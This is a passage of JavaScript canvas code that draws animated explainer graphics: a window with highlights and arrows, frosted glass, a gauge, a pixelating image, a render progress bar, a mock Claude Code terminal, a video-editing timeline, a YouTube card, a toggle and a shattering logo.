    const lit = it.lit ?? 1;   // morph: the window lifts off the page as it grows
    if (it.shadow !== false && lit > .002) { ctx.save(); ctx.globalAlpha *= lit; lift(ctx, x0, y0, w, h, r, 1.2); ctx.restore(); }
    ctx.save(); if (it.shadow !== false) drop(ctx, .28 * lit, 40, 18);
    ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.fillStyle = it.bg || '#1B1B1D'; ctx.fill(); ctx.restore();
    ctx.save(); ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.clip(); ctx.imageSmoothingQuality = 'high';
    if (swap < 1) ctx.drawImage(prev, -cx * k, -cy * k, im.width * k, im.height * k);
    alpha(ctx, swap, () => ctx.drawImage(im, -cx * k, -cy * k, im.width * k, im.height * k));
    for (const g of it.rings || []) {   // focus ring: dims the rest of the window, then draws a blue outline on
      const q = S(t - g.at, 12) * (g.to != null ? 1 - leave(t - g.to) : 1); if (q <= .002) continue;
      const pad = g.pad ?? 10, [ax, ay] = P(g.rect[0], g.rect[1]), rw = g.rect[2] * k + pad * 2, rh = g.rect[3] * k + pad * 2, rr = Math.min(g.r ?? 18, rh / 2);
      if (g.dim !== false) { const m = new Path2D(); m.rect(x0, y0, w, h); m.roundRect(ax - pad, ay - pad, rw, rh, rr); ctx.fillStyle = `rgba(8,8,10,${.5 * q})`; ctx.fill(m, 'evenodd'); }
      const d = E.out(seg(t, g.at, g.at + (g.dur ?? .5))), L = 2 * (rw + rh);
      alpha(ctx, q, () => { ctx.beginPath(); ctx.roundRect(ax - pad, ay - pad, rw, rh, rr); stroke(ctx, C.blue, g.lw || 7); ctx.setLineDash([L * d, L]); ctx.stroke(); ctx.setLineDash([]); });
    }
    for (const m of it.marks || []) {   // highlighter over the text (multiply keeps the words ink), swept rect by rect, rides the zoom
      const rs = m.rects || [m.rect], tot = rs.reduce((a, q) => a + q[2], 0); let left = tot * E.cubic(seg(t, m.at, m.at + (m.dur ?? .7)));
      if (left <= .5) continue;
      ctx.save(); ctx.globalCompositeOperation = 'multiply'; ctx.fillStyle = m.color || 'rgba(37,142,255,.3)'; const px = m.pad ?? 8;
      for (const q of rs) { if (left <= 0) break; const gw = Math.min(left, q[2]); left -= q[2]; const [ax, ay] = P(q[0] - px, q[1] - px * .6);
        ctx.beginPath(); ctx.roundRect(ax, ay, (gw + 2 * px) * k, (q[3] + 1.2 * px) * k, 8); ctx.fill(); }
      ctx.restore();
    }
    ctx.restore();
    ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.lineWidth = 2; ctx.strokeStyle = 'rgba(255,255,255,.14)'; ctx.stroke();
    for (const a of it.arrows || []) {   // arrow drawn on from (tip + dx, dy) to the tip, tip in image px; may start outside the window
      const q = a.to != null ? 1 - leave(t - a.to) : 1, d = E.out(seg(t, a.at, a.at + (a.dur ?? .5))); if (d <= .002 || q <= .002) continue;
      const [tx, ty] = P(a.tip[0], a.tip[1]), sx = tx + (a.dx ?? 160), sy = ty + (a.dy ?? -160), bend = a.bend ?? .18;
      const mx = (sx + tx) / 2 - (ty - sy) * bend, my = (sy + ty) / 2 + (tx - sx) * bend;
      const bz = u => [(1 - u) ** 2 * sx + 2 * (1 - u) * u * mx + u * u * tx, (1 - u) ** 2 * sy + 2 * (1 - u) * u * my + u * u * ty];
      alpha(ctx, q, () => {
        ctx.save(); drop(ctx, .22, 10, 4); stroke(ctx, a.color ? col(a.color) : C.blue, a.lw || 10);
        ctx.beginPath(); ctx.moveTo(sx, sy); for (let u = .04; u <= d + 1e-6; u += .04) { const [px, py] = bz(Math.min(u, d)); ctx.lineTo(px, py); } ctx.stroke();
        if (d > .7) { const [ex, ey] = bz(d), [bx, by] = bz(d - .06), an = Math.atan2(ey - by, ex - bx), H = 34 * S(d - .7, 18) / S(.3, 18);
          ctx.beginPath(); ctx.moveTo(ex - Math.cos(an - .55) * H, ey - Math.sin(an - .55) * H); ctx.lineTo(ex, ey); ctx.lineTo(ex - Math.cos(an + .55) * H, ey - Math.sin(an + .55) * H); ctx.stroke(); }
        ctx.restore();
        if (a.label) { const qq = S(t - a.at - .25, 13); if (qq > .002) alpha(ctx, qq, () => chip(ctx, sx, sy + (a.dy > 0 ? 50 : -50), a.label, { size: a.labelSize || 40, h: Math.round((a.labelSize || 40) * 2), fill: C.blue, color: C.white, border: false })); }
      });
    }
  },
  glass(ctx, it) {   // frosted glass: the frame under it, blurred, then a white tint and a bright hairline
    const w = it.w, h = it.h, r = it.r ?? 34, m = ctx.getTransform(), cv = ctx.canvas;
    const q0 = m.transformPoint(new DOMPoint(0, 0)), q1 = m.transformPoint(new DOMPoint(w, h)), pad = 60 * m.a;
    const sx = Math.max(0, Math.floor(Math.min(q0.x, q1.x) - pad)), sy = Math.max(0, Math.floor(Math.min(q0.y, q1.y) - pad));
    const sw = Math.min(cv.width, Math.ceil(Math.max(q0.x, q1.x) + pad)) - sx, sh = Math.min(cv.height, Math.ceil(Math.max(q0.y, q1.y) + pad)) - sy;
    ctx.save(); const out = new Path2D(); out.rect(-300, -300, w + 600, h + 600); out.roundRect(0, 0, w, h, r); ctx.clip(out, 'evenodd');
    shadow(ctx, 0, 0, w, h, r, 44, .2, 16); ctx.restore();
    if (sw > 0 && sh > 0) { ctx.save(); ctx.beginPath(); ctx.roundRect(0, 0, w, h, r); ctx.clip(); ctx.setTransform(1, 0, 0, 1, 0, 0);
      ctx.filter = `blur(${Math.round((it.blur ?? 22) * m.a)}px)`; ctx.drawImage(cv, sx, sy, sw, sh, sx, sy, sw, sh); ctx.restore(); }
    ctx.beginPath(); ctx.roundRect(0, 0, w, h, r); ctx.fillStyle = `rgba(250,249,246,${it.tint ?? .62})`; ctx.fill();
    ctx.lineWidth = 2; ctx.strokeStyle = 'rgba(255,255,255,.9)'; ctx.stroke();
    ctx.beginPath(); ctx.roundRect(-1, -1, w + 2, h + 2, r + 1); ctx.lineWidth = 1; ctx.strokeStyle = 'rgba(20,22,27,.08)'; ctx.stroke();
  },
  gauge(ctx, it, t) {   // speedometer: a 270° dial, the blue arc and the needle sweep to value (0..1) with a motion trail, centered
    const r = it.r || 170, a0 = Math.PI * .75, span = Math.PI * 1.5, f0 = it.sweepFrom ?? it.at + .1, f1 = it.sweepTo ?? f0 + .8;
    const vAt = tt => (it.value ?? .9) * E.out(seg(tt, f0, f1)), v = vAt(t), R0 = r - 22;
    sheet(ctx, -r - 26, -r - 26, 2 * r + 52, 2 * r + 52, r + 26, { elev: .9 });
    ctx.save(); ctx.lineCap = 'round';
    ctx.beginPath(); ctx.arc(0, 0, R0, a0, a0 + span); ctx.lineWidth = 24; ctx.strokeStyle = 'rgba(40,30,10,.07)'; ctx.stroke();
    if (v > .002) { ctx.beginPath(); ctx.arc(0, 0, R0, a0, a0 + span * v); ctx.strokeStyle = C.blue; ctx.stroke(); }
    for (let i = 0; i <= 20; i++) {
      const a = a0 + span * i / 20, big = i % 5 === 0, r1 = R0 - 30, r2 = R0 - (big ? 62 : 46);
      ctx.beginPath(); ctx.moveTo(Math.cos(a) * r1, Math.sin(a) * r1); ctx.lineTo(Math.cos(a) * r2, Math.sin(a) * r2);
      ctx.lineWidth = big ? 6 : 3; ctx.strokeStyle = i / 20 <= v + .001 ? C.ink : C.ink3; ctx.stroke();
    }
    const needle = (an, op) => alpha(ctx, op, () => { ctx.save(); ctx.rotate(an); ctx.beginPath(); ctx.moveTo(-24, -9); ctx.lineTo(R0 - 58, -2.5); ctx.lineTo(R0 - 58, 2.5); ctx.lineTo(-24, 9); ctx.closePath(); ctx.fillStyle = C.ink; ctx.fill(); ctx.restore(); });
    for (const [lag, op] of [[.12, .1], [.08, .16], [.04, .26]]) { const lv = vAt(t - lag); if (v - lv > .015) needle(a0 + span * lv, op); }   // trail while it sweeps fast
    ctx.save(); drop(ctx, .22, 10, 4); needle(a0 + span * v, 1); ctx.restore();
    ctx.beginPath(); ctx.arc(0, 0, 20, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); ctx.beginPath(); ctx.arc(0, 0, 7, 0, TAU); ctx.fillStyle = C.white; ctx.fill();
    ctx.restore();
    if (it.unit) text(ctx, it.unit, 0, r * .62, { size: 32, weight: 800, align: 'center', color: C.ink3 });
  },
  pixelate(ctx, it, t, R) {   // a real image that resolves from big pixel blocks to sharp (sharpFrom..sharpTo), then a light sweep, centered
    const im = R?.img('/p/' + it.img); if (!im) return;
    const w = it.w || 300, h = it.h || Math.round(w * im.height / im.width), r = it.r ?? 26, x0 = -w / 2, y0 = -h / 2;
    const f0 = it.sharpFrom ?? it.at + .3, f1 = it.sharpTo ?? f0 + .9, p = seg(t, f0, f1);
    const steps = [it.block || 44, 30, 20, 12, 7, 3], blk = p >= 1 ? 1 : steps[Math.min(steps.length - 1, Math.floor(p * steps.length))];
    lift(ctx, x0, y0, w, h, r, 1);
    ctx.save(); ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.clip();
    if (blk <= 1) { ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, x0, y0, w, h); }
    else {
      const m = Math.hypot(ctx.getTransform().a, ctx.getTransform().b), cw = Math.max(2, Math.round(w * m / blk)), ch = Math.max(2, Math.round(h * m / blk));
      PIX.width = cw; PIX.height = ch; const pc = PIX.getContext('2d'); pc.imageSmoothingQuality = 'high'; pc.drawImage(im, 0, 0, cw, ch);
      ctx.imageSmoothingEnabled = false; ctx.drawImage(PIX, 0, 0, cw, ch, x0, y0, w, h); ctx.imageSmoothingEnabled = true;
    }
    const g = seg(t, f1, f1 + .55); if (g > 0 && g < 1) {   // sheen: a soft white band crossing once when it lands
      const bx = lerp(x0 - w * .6, x0 + w * 1.2, E.io(g)), gr = ctx.createLinearGradient(bx, y0, bx + w * .45, y0 + h * .25);
      gr.addColorStop(0, 'rgba(255,255,255,0)'); gr.addColorStop(.5, 'rgba(255,255,255,.42)'); gr.addColorStop(1, 'rgba(255,255,255,0)');
      ctx.fillStyle = gr; ctx.fillRect(x0, y0, w, h);
    }
    ctx.restore();
    ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.lineWidth = 2; ctx.strokeStyle = 'rgba(20,22,27,.1)'; ctx.stroke();
  },
  render(ctx, it, t, R) {   // a render crawling: dark window, film strip of real frames developing one by one, striped bar, frame counter, timer; centered
    const w = it.w || 900, h = it.h || 420, r = 30, x0 = -w / 2, y0 = -h / 2, f0 = it.progFrom ?? it.at, f1 = it.progTo ?? f0 + 4;
    const p = (it.prog ?? 1) * clamp((t - f0) / (f1 - f0)), imgs = it.imgs || [], n = imgs.length, pad = 30;
    lift(ctx, x0, y0, w, h, r, 1.2);
    ctx.save(); drop(ctx, .28, 40, 18); ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.fillStyle = '#1B1B1D'; ctx.fill(); ctx.restore();
    ['#FF5F57', '#FEBC2E', '#28C840'].forEach((c, i) => { ctx.beginPath(); ctx.arc(x0 + 36 + i * 28, y0 + 36, 8, 0, TAU); ctx.fillStyle = c; ctx.fill(); });
    if (it.title) text(ctx, it.title, x0 + 130, y0 + 46, { size: 28, weight: 600, fam: 'JetBrains Mono', color: 'rgba(255,255,255,.55)' });
    ctx.save(); ctx.translate(x0 + w - 44, y0 + 36); ctx.rotate(t * 7); ctx.beginPath(); ctx.arc(0, 0, 12, 0, TAU * .72); stroke(ctx, C.blue, 4); ctx.stroke(); ctx.restore();
    const sy = y0 + 72, sh = h - 72 - 126, gap = 12, fw = n ? (w - pad * 2 - gap * (n - 1)) / n : 0, done = p * n;
    imgs.forEach((src, i) => {
      const im = R?.img('/p/' + src), fx = x0 + pad + i * (fw + gap), q = clamp(done - i);
      ctx.save(); ctx.beginPath(); ctx.roundRect(fx, sy, fw, sh, 12); ctx.fillStyle = '#2A2A2E'; ctx.fill(); ctx.clip();
      if (q < 1) { const sx = fx + ((t * 260 + i * 70) % (fw * 2.2)) - fw * .6, gr = ctx.createLinearGradient(sx, 0, sx + fw * .6, 0);   // waiting: a dim shimmer
        gr.addColorStop(0, 'rgba(255,255,255,0)'); gr.addColorStop(.5, 'rgba(255,255,255,.06)'); gr.addColorStop(1, 'rgba(255,255,255,0)'); ctx.fillStyle = gr; ctx.fillRect(fx, sy, fw, sh); }
      if (im && q > 0) {   // developing: revealed top to bottom behind a blue scan line
        ctx.save(); ctx.beginPath(); ctx.rect(fx, sy, fw, sh * q); ctx.clip(); ctx.imageSmoothingQuality = 'high';
        const k = Math.max(fw / im.width, sh / im.height), iw = im.width * k, ih = im.height * k; ctx.drawImage(im, fx + (fw - iw) / 2, sy + (sh - ih) / 2, iw, ih); ctx.restore();
        if (q < 1) { ctx.fillStyle = C.blue; ctx.fillRect(fx, sy + sh * q - 2, fw, 4); }
      }
      ctx.restore();
    });
    const by = y0 + h - 100, bw = w - pad * 2, bh = 22;
    ctx.beginPath(); ctx.roundRect(x0 + pad, by, bw, bh, bh / 2); ctx.fillStyle = 'rgba(255,255,255,.08)'; ctx.fill();
    if (p > .002) {
      const fwd = Math.max(bh, bw * p); ctx.save(); ctx.beginPath(); ctx.roundRect(x0 + pad, by, fwd, bh, bh / 2); ctx.fillStyle = C.blue; ctx.fill(); ctx.clip();
      ctx.fillStyle = 'rgba(255,255,255,.18)'; const o = (t * 60) % 36; for (let sx = x0 + pad - 40 + o; sx < x0 + pad + fwd; sx += 36) { ctx.beginPath(); ctx.moveTo(sx, by + bh); ctx.lineTo(sx + 14, by + bh); ctx.lineTo(sx + 28, by); ctx.lineTo(sx + 14, by); ctx.closePath(); ctx.fill(); }
      ctx.restore();
    }
    const tot = it.total || 0, el = (it.elapsed || 0) * p / (it.prog ?? 1), mm = Math.floor(el / 60), ss = String(Math.floor(el % 60)).padStart(2, '0');
    if (tot) text(ctx, `Frame ${Math.round(p * tot)} / ${tot}`, x0 + pad, by + 66, { size: 30, weight: 600, fam: 'JetBrains Mono', color: 'rgba(255,255,255,.7)' });
    if (it.elapsed) text(ctx, `${mm}:${ss}`, x0 + w - pad, by + 68, { size: 40, weight: 800, fam: 'JetBrains Mono', align: 'right', color: C.white });
  },
  term(ctx, it, t, R) {   // a Claude Code terminal, centered: header (logo, name, sub), a prompt box where `cmd` types (typeFrom..typeTo)
    // with the matching slash commands listed under it (suggest: [[name, desc]], first one highlighted), Enter at sendAt
    // moves the command into the history, then out: [{text, at}] lines land one by one with a dot
    const w = it.w || 960, h = it.h || 640, r = 30, x0 = -w / 2, y0 = -h / 2, pad = 44, M = 'JetBrains Mono', fs = it.size || 52;
    lift(ctx, x0, y0, w, h, r, 1.2);
    ctx.save(); drop(ctx, .28, 40, 18); ctx.beginPath(); ctx.roundRect(x0, y0, w, h, r); ctx.fillStyle = '#1B1B1D'; ctx.fill(); ctx.restore();
    ['#FF5F57', '#FEBC2E', '#28C840'].forEach((c, i) => { ctx.beginPath(); ctx.arc(x0 + 36 + i * 28, y0 + 36, 8, 0, TAU); ctx.fillStyle = c; ctx.fill(); });
    if (it.title) text(ctx, it.title, x0 + w / 2, y0 + 48, { size: 34, weight: 600, fam: M, align: 'center', color: 'rgba(255,255,255,.5)' });
    const hy = y0 + 160;
    if (it.logo) logoAt(R, ctx, it.logo, x0 + pad + 50, hy, 100);
    text(ctx, it.name || 'Claude Code', x0 + pad + 130, hy - 4, { size: 60, weight: 800, color: C.white });
    if (it.sub) text(ctx, it.sub, x0 + pad + 130, hy + 48, { size: 36, weight: 500, fam: M, color: 'rgba(255,255,255,.5)' });
    const cmd = it.cmd || '', tf = it.typeFrom ?? it.at, tt = it.typeTo ?? tf + cmd.length * .05, sent = it.sendAt != null && t >= it.sendAt;
    const n = Math.round(cmd.length * clamp((t - tf) / Math.max(.05, tt - tf))), typed = cmd.slice(0, n);
    const line = (s, y, c, cur) => {   // "> " + mono text, blue block cursor while it types
      text(ctx, '>', x0 + pad + 26, midBase(y, fs), { size: fs, weight: 700, fam: M, color: 'rgba(255,255,255,.45)' });
      const cx = x0 + pad + 80; text(ctx, s, cx, midBase(y, fs), { size: fs, weight: 600, fam: M, color: c });
      if (cur && Math.sin(t * 11) > -.3) { ctx.fillStyle = C.blue; ctx.fillRect(cx + measure(ctx, s, fs, 600, 0, M) + 4, y - fs * .55, fs * .55, fs * 1.1); }
    };
    let by = hy + 150;
    if (sent) {   // history: the sent command, then the output lines
      const q = E.out(seg(t, it.sendAt, it.sendAt + .3));
      line(cmd, by + (1 - q) * 60, C.white, false);
      (it.out || []).forEach((o, i) => {
        const p = S(t - o.at, 13); if (p <= .002) return; const oy = by + 100 + i * 84;
        alpha(ctx, Math.min(1, p * 1.4), () => {
          ctx.beginPath(); ctx.arc(x0 + pad + 36, oy + (1 - p) * 20, 11, 0, TAU); ctx.fillStyle = o.dim ? 'rgba(255,255,255,.4)' : C.blue; ctx.fill();
          text(ctx, o.text, x0 + pad + 80, midBase(oy + (1 - p) * 20, 42), { size: 42, weight: 500, fam: M, color: o.dim ? 'rgba(255,255,255,.55)' : C.white });
        });
      });
      return;
    }
    const bh = fs * 2.1;
    ctx.beginPath(); ctx.roundRect(x0 + pad, by - bh / 2, w - pad * 2, bh, 18); ctx.lineWidth = 3; ctx.strokeStyle = 'rgba(255,255,255,.22)'; ctx.stroke();
    if (!typed && it.placeholder) text(ctx, it.placeholder, x0 + pad + 80, midBase(by, fs), { size: fs * .8, weight: 500, fam: M, color: 'rgba(255,255,255,.3)' });
    line(typed, by, C.white, t >= (it.focusAt ?? tf - .3));
    const sg = it.suggest || []; if (!sg.length || n < 1) return;
    const shown = sg.filter(([nm]) => nm.startsWith(typed) || typed.startsWith(nm.slice(0, typed.length)));
    shown.slice(0, 4).forEach(([nm, desc], i) => {
      const sy = by + bh / 2 + 60 + i * 74, hi = i === 0;
      if (hi) { ctx.beginPath(); ctx.roundRect(x0 + pad, sy - 34, w - pad * 2, 68, 14); ctx.fillStyle = 'rgba(37,142,255,.16)'; ctx.fill(); }
      text(ctx, nm, x0 + pad + 26, midBase(sy, 40), { size: 40, weight: 700, fam: M, color: hi ? C.blue : 'rgba(255,255,255,.6)' });
      if (desc) text(ctx, desc, x0 + w - pad - 22, midBase(sy, 36), { size: 36, weight: 500, align: 'right', color: hi ? 'rgba(255,255,255,.8)' : 'rgba(255,255,255,.4)' });
    });
  },
  edit(ctx, it, t, R) {   // a timeline that edits itself, centered: real clips with their silences (boxed at markAt, closed at cutAt),
    // "Aa" caption pills dropping on each clip (capsAt), blue animation blocks with a sparkle (fxAt), a playhead (playFrom..playTo),
    // then steps [{text, at}] as blue chips that check one by one under the sheet
    const imgs = it.imgs || [], n = Math.max(1, imgs.length), w = it.w || 960, hw = 92, pad = 26, vh = it.vh || 150, th = 62, gap = 14;
    const h = pad * 2 + vh + (th + gap) * 2, x0 = -w / 2, y0 = -h / 2, lx = x0 + hw, lw = w - hw - pad;
    const cu = i => [1.25, .95, 1.15, .9, 1.05][i % 5], gu = i => i < n - 1 ? [.42, .3, .5, .36][i % 4] : 0;
    const mk = it.markAt != null ? S(t - it.markAt, 12) : 0, cl = it.cutAt != null ? E.io(seg(t, it.cutAt, it.cutAt + .45)) : 0;
    let U = 0; for (let i = 0; i < n; i++) U += cu(i) + gu(i);
    const unit = lw / U, xs = []; let acc = lx;
    for (let i = 0; i < n; i++) { xs.push(acc); acc += (cu(i) + gu(i) * (1 - cl)) * unit; }
    const span = acc - lx, ph = it.playFrom != null ? E.io(seg(t, it.playFrom, it.playTo ?? it.playFrom + 1.2)) : -1, phx = lx + span * ph;
    const vy = y0 + pad, ty = vy + vh + gap, fy = ty + th + gap;
    const spark = (x, y, r, c) => { ctx.beginPath(); for (let k = 0; k < 8; k++) { const a = k * TAU / 8 - TAU / 4, rr = k % 2 ? r * .32 : r; ctx[k ? 'lineTo' : 'moveTo'](x + Math.cos(a) * rr, y + Math.sin(a) * rr); } ctx.closePath(); ctx.fillStyle = c; ctx.fill(); };
    sheet(ctx, x0, y0, w, h, 34, { elev: 1.2 });
    [ty - gap / 2, fy - gap / 2].forEach(yy => { ctx.fillStyle = C.line; ctx.fillRect(x0 + 24, yy, w - 48, 1.5); });
    const hx = x0 + hw / 2;   // track heads: play, Aa, sparkle
    ctx.beginPath(); ctx.moveTo(hx - 13, vy + vh / 2 - 17); ctx.lineTo(hx + 17, vy + vh / 2); ctx.lineTo(hx - 13, vy + vh / 2 + 17); ctx.closePath(); ctx.fillStyle = C.ink; ctx.fill();
    text(ctx, 'Aa', hx, midBase(ty + th / 2, 32), { size: 32, weight: 800, align: 'center', color: C.ink });
    spark(hx, fy + th / 2, 19, C.ink);
    for (let i = 0; i < n; i++) {
      const cx = xs[i], cw = cu(i) * unit - 6, im = R?.img('/p/' + imgs[i]), on = ph > 0 && ph < 1 && phx >= cx && phx <= cx + cw;
      ctx.save(); ctx.beginPath(); ctx.roundRect(cx, vy, cw, vh, 12); ctx.fillStyle = C.dim; ctx.fill(); ctx.clip();
      if (im) { const k = Math.max(cw / im.width, vh / im.height); ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, cx + (cw - im.width * k) / 2, vy + (vh - im.height * k) / 2, im.width * k, im.height * k); }
      ctx.restore();
      ctx.beginPath(); ctx.roundRect(cx, vy, cw, vh, 12); ctx.strokeStyle = on ? C.blue : 'rgba(20,22,27,.12)'; ctx.lineWidth = on ? 5 : 2; ctx.stroke();
      const gw = gu(i) * (1 - cl) * unit, gx = cx + cu(i) * unit - 6;   // the silence after this clip: flat dashes, boxed, then closed
      if (gw > 1) {
        alpha(ctx, 1 - cl, () => { for (let q = gx + 10; q < gx + gw - 8; q += 16) { ctx.beginPath(); ctx.roundRect(q, vy + vh / 2 - 4, 9, 8, 4); ctx.fillStyle = C.ink3; ctx.fill(); } });
        alpha(ctx, mk * (1 - cl), () => {
          ctx.beginPath(); ctx.roundRect(gx + 4, vy + 10, Math.max(2, gw - 2), vh - 20, 12); ctx.fillStyle = 'rgba(37,142,255,.12)'; ctx.fill();
          ctx.setLineDash([10, 8]); ctx.strokeStyle = C.blue; ctx.lineWidth = 3; ctx.stroke(); ctx.setLineDash([]);
        });
      }
      if (it.capsAt != null) { const p = S(t - it.capsAt - i * .07, 13); if (p > .002) alpha(ctx, Math.min(1, p * 1.4), () => {
        const yy = ty + 6 - 26 * (1 - p), pw = Math.max(40, cw - 8);
        ctx.beginPath(); ctx.roundRect(cx + 4, yy, pw, th - 12, 12); ctx.fillStyle = on ? C.blue : C.tint; ctx.fill(); ctx.strokeStyle = C.blue; ctx.lineWidth = 2; ctx.stroke();
        text(ctx, 'Aa', cx + 18, midBase(yy + (th - 12) / 2, 26), { size: 26, weight: 800, color: on ? C.white : C.blue });
        if (pw > 110) { ctx.beginPath(); ctx.roundRect(cx + 66, yy + (th - 12) / 2 - 5, Math.min(pw - 84, 90), 10, 5); ctx.fillStyle = on ? 'rgba(255,255,255,.8)' : 'rgba(37,142,255,.45)'; ctx.fill(); }
      }); }
      if (it.fxAt != null) { const p = S(t - it.fxAt - i * .07, 13); if (p > .002) alpha(ctx, Math.min(1, p * 1.4), () => {
        const bw = cw * (.45 + .3 * hash(i * 5.1 + 2)), bx = cx + 4 + (cw - 8 - bw) * hash(i * 2.7 + 9), yy = fy + 6, bh = th - 12, k = .6 + .4 * p;
        ctx.save(); ctx.translate(bx + bw / 2, yy + bh / 2); ctx.scale(k, k);
        ctx.beginPath(); ctx.roundRect(-bw / 2, -bh / 2, bw, bh, 12); ctx.fillStyle = C.blue; ctx.fill();
        spark(-bw / 2 + 24, 0, 14, C.white); ctx.restore();
      }); }
    }
    if (ph >= 0 && t > it.playFrom - .2) alpha(ctx, clamp((t - it.playFrom + .2) / .2), () => {
      ctx.fillStyle = C.ink; ctx.fillRect(phx - 2.5, y0 + 8, 5, h - 16);
      ctx.beginPath(); ctx.moveTo(phx - 15, y0 - 6); ctx.lineTo(phx + 15, y0 - 6); ctx.lineTo(phx, y0 + 14); ctx.closePath(); ctx.fill();
    });
    const st = it.steps || []; if (st.length) {
      const sz = 34, ws = st.map(s => measure(ctx, s.text, sz, 700, -.3) + Math.round(sz * .72) * 2 + sz * .95), sg = 16;
      let sx = -(ws.reduce((a, b) => a + b, 0) + sg * (st.length - 1)) / 2;
      st.forEach((s, i) => { const p = S(t - s.at, 12);
        if (p > .002) { ctx.save(); ctx.translate(0, 22 * (1 - p)); chip(ctx, sx, y0 + h + 58, s.text, { size: sz, align: 'left', fill: C.blue, color: C.onBlue, check: true, checkP: E.out(seg(t, s.at + .08, s.at + .4)), alpha: Math.min(1, p * 1.4) }); ctx.restore(); }
        sx += ws[i] + sg; });
    }
  },
  yt(ctx, it, t, R) {   // YouTube video card: thumbnail (duration chip, red play), avatar, two-line title, channel + meta
    const w = it.w || 760, pad = 24, tw = w - pad * 2, th = Math.round(tw * 9 / 16), ts = it.titleSize || 36;
    const lines = wrap(ctx, it.title || '', tw - 96, ts, 700, -.4).slice(0, 2), h = pad + th + 26 + lines.length * ts * 1.25 + 48 + pad;
    const x0 = -w / 2, y0 = -h / 2, im = it.img ? R?.img('/p/' + it.img) : null, av = it.avatarImg ? R?.img('/p/' + it.avatarImg) : null;
    sheet(ctx, x0, y0, w, h, 30, { elev: 1.1 });
    ctx.save(); ctx.beginPath(); ctx.roundRect(x0 + pad, y0 + pad, tw, th, 18); ctx.clip();
    if (im) { const k = Math.max(tw / im.width, th / im.height); ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, x0 + pad + (tw - im.width * k) / 2, y0 + pad + (th - im.height * k) / 2, im.width * k, im.height * k); }
    else { ctx.fillStyle = C.ink; ctx.fillRect(x0 + pad, y0 + pad, tw, th); }
    ctx.restore();
    const px = 0, py = y0 + pad + th / 2;
    ctx.save(); drop(ctx, .3, 18, 6); ctx.beginPath(); ctx.roundRect(px - 52, py - 36, 104, 72, 20); ctx.fillStyle = '#FF0033'; ctx.fill(); ctx.restore();
    ctx.beginPath(); ctx.moveTo(px - 13, py - 18); ctx.lineTo(px + 20, py); ctx.lineTo(px - 13, py + 18); ctx.closePath(); ctx.fillStyle = '#FFFFFF'; ctx.fill();
    if (it.dur) { const dw = measure(ctx, it.dur, 26, 700) + 22; ctx.beginPath(); ctx.roundRect(x0 + pad + tw - dw - 12, y0 + pad + th - 50, dw, 38, 8); ctx.fillStyle = 'rgba(0,0,0,.8)'; ctx.fill();
      text(ctx, it.dur, x0 + pad + tw - dw / 2 - 12, y0 + pad + th - 22, { size: 26, weight: 700, align: 'center', color: '#FFFFFF' }); }
    const ay = y0 + pad + th + 26, ax = x0 + pad + 34;
    ctx.save(); ctx.beginPath(); ctx.arc(ax, ay + 34, 34, 0, TAU); ctx.clip(); if (av) ctx.drawImage(av, ax - 34, ay, 68, 68); else { ctx.fillStyle = C.ink2; ctx.fill(); } ctx.restore();
    lines.forEach((ln, i) => text(ctx, ln, x0 + pad + 96, ay + ts * .9 + i * ts * 1.25, { size: ts, weight: 700, ls: -.4 }));
    text(ctx, [it.channel, it.meta].filter(Boolean).join(' · '), x0 + pad + 96, ay + lines.length * ts * 1.25 + 34, { size: 28, weight: 500, color: C.ink3 });
  },
  toggle(ctx, it, t) {   // settings switch: label, then a pill whose knob slides right and turns blue at onAt
    const size = it.size || 40, lw = measure(ctx, it.label || '', size, 700, -.4), sw = size * 2.6, sh = size * 1.5, gap = size * .8, x0 = -(lw + gap + sw) / 2;
    const on = it.onAt != null ? S(t - it.onAt, 12) : 0;
    text(ctx, it.label || '', x0, midBase(0, size), { size, weight: 700, ls: -.4 });
    const bx = x0 + lw + gap; ctx.beginPath(); ctx.roundRect(bx, -sh / 2, sw, sh, sh / 2); ctx.fillStyle = mix('#D9D5CC', C.blue, on); ctx.fill();
    ctx.save(); drop(ctx, .25, 8, 3); ctx.beginPath(); ctx.arc(bx + sh / 2 + (sw - sh) * on, 0, sh / 2 - 6, 0, TAU); ctx.fillStyle = '#FFFFFF'; ctx.fill(); ctx.restore();
  },
  shatter(ctx, it, t, R) {   // a real logo that breaks into glass shards at breakAt (hit [x, y] = impact point, -1..1 of the icon), with a blue shockwave
    const sz = it.s || 260, im = R?.img('/p/' + it.logo), tau = t - (it.breakAt ?? 1e9);
    if (tau < 0) return logoAt(R, ctx, it.logo, 0, 0, sz, it.gray);
    if (!im) return;
    const sh = it._shards || (it._shards = shards(sz, it.hit || [-.35, -.1], it.n || 10, it.seed || 7)), h = sz / 2, rr = sz * .22;
    const icon = new Path2D(); icon.roundRect(-h, -h, sz, sz, rr);
    for (const q of sh) {
      const a = 1 - seg(tau, .42, .95); if (a <= .002) break;
      const ox = q.vx * tau, oy = q.vy * tau + 1300 * tau * tau, k = 1 - .25 * seg(tau, .2, .95);
      ctx.save(); ctx.globalAlpha *= a; ctx.translate(q.cx + ox, q.cy + oy); ctx.rotate(q.w * tau); ctx.scale(k, k); ctx.translate(-q.cx, -q.cy);
      ctx.save(); if (it.tight) ctx.clip(icon); drop(ctx, .22, 16, 8); ctx.fillStyle = C.white; ctx.fill(q.path); ctx.restore();
      ctx.clip(q.path); ctx.clip(icon); ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, -h, -h, sz, sz);
      ctx.lineWidth = 2.5; ctx.strokeStyle = 'rgba(255,255,255,.85)'; ctx.stroke(q.path); ctx.restore();
    }
    const [hx, hy] = (it.hit || [-.35, -.1]).map(v => v * h), w = E.out(seg(tau, 0, .5));   // shockwave + spark lines from the impact
    if (w < 1) alpha(ctx, 1 - w, () => {
      ctx.beginPath(); ctx.arc(hx, hy, lerp(sz * .2, sz * 1.25, w), 0, TAU); stroke(ctx, C.blue, lerp(18, 3, w)); ctx.stroke();
      for (let i = 0; i < 12; i++) { const an = i / 12 * TAU + hash(i + 3) * .4, r0 = lerp(sz * .3, sz * 1.1, w), r1 = r0 + lerp(70, 10, w);
